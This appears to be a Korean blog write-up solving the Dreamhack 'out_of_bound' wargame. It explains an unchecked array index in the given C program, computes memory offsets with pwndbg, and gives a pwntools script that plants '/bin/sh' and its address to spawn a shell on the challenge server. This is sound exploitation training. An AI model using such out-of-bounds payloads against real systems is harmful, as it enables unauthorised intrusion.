문제: https://dreamhack.io/wargame/challenges/11
out_of_bound
Description 이 문제는 서버에서 작동하고 있는 서비스(out_of_bound)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득하세요. "flag" 파일을 읽어 워게임 사이
dreamhack.io
📍 보호기법

32비트, Partial RELRO, 카나리 있음, NX 활성화, PIE 없음
📍 소스코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
16바이트 크기의 `char` 배열 `name`에 쓸 수 있다.
사용자 입력값으로 정해지는 `idx`를 `char` 포인터 배열 `command`의 index로 쓸 수 있다.
`system(command[idx])`를 실행하고 종료된다.
배열의 인덱스 범위를 검사하지 않아 out of bound 취약점이 발생한다.
코드에서 준 명령어 목록으로는 `flag`를 볼 수 없으므로, `system("/bin/sh")`를 실행하게 만들어 보자.
📍 익스플로잇
pwndbg> i var name
0x0804a0ac name
pwndbg> i var command
0x0804a060 command
pwndbg> print 0x0804a0ac-0x0804a060
$1 = 76
`name`의 주소와 `command`의 주소는 76바이트만큼 차이가 난다.
`command`의 한 인덱스당 크기는 4바이트이므로, 76바이트 뒤에 값을 입력하려면 20번째 인덱스를(out of bound)를 사용해야 한다.
여기서 문제는 `command`는 포인터 배열이므로, "/bin/sh" 문자열을 바로 사용하게 되면 문자열이 아니라 주소로 전달한다.
따라서, `name` 배열의 첫 8바이트는 "/bin/sh\x00" 문자열로 채우고 다음 4바이트는 `name`의 시작 주소로 채운 뒤, `command`의 인덱스로는 `name` 시작 주소+8바이트 값을 전달하면 `name`의 시작 주소가 실행되게 만들 수 있다.
따라서 공격 시나리오는 다음과 같다:
1. `name`에 "/bin/sh\x00" 문자열과 `name`의 시작주소를 32비트 주소로 입력
2. `command[19+2]`를 인자로 `system` 함수를 실행
from pwn import *
p = remote("host3.dreamhack.games", 17770)
payload = b'/bin/sh\x00'
payload += p32(0x0804a0ac)
p.sendline(payload)
p.sendline(b'21')
p.interactive()

🚩
'𝐖𝐚𝐫𝐠𝐚𝐦𝐞𝐬 > 𝐏𝐰𝐧𝐚𝐛𝐥𝐞' 카테고리의 다른 글
| [드림핵] basic_exploitation_002 (0) | 2025.04.18 |
|---|---|
| [드림핵] Format String Bug (0) | 2025.04.11 |
| pwnable 문제풀이 (0) | 2025.04.09 |
| [드림핵] hook (0) | 2025.04.09 |
| [드림핵] oneshot (0) | 2025.04.08 |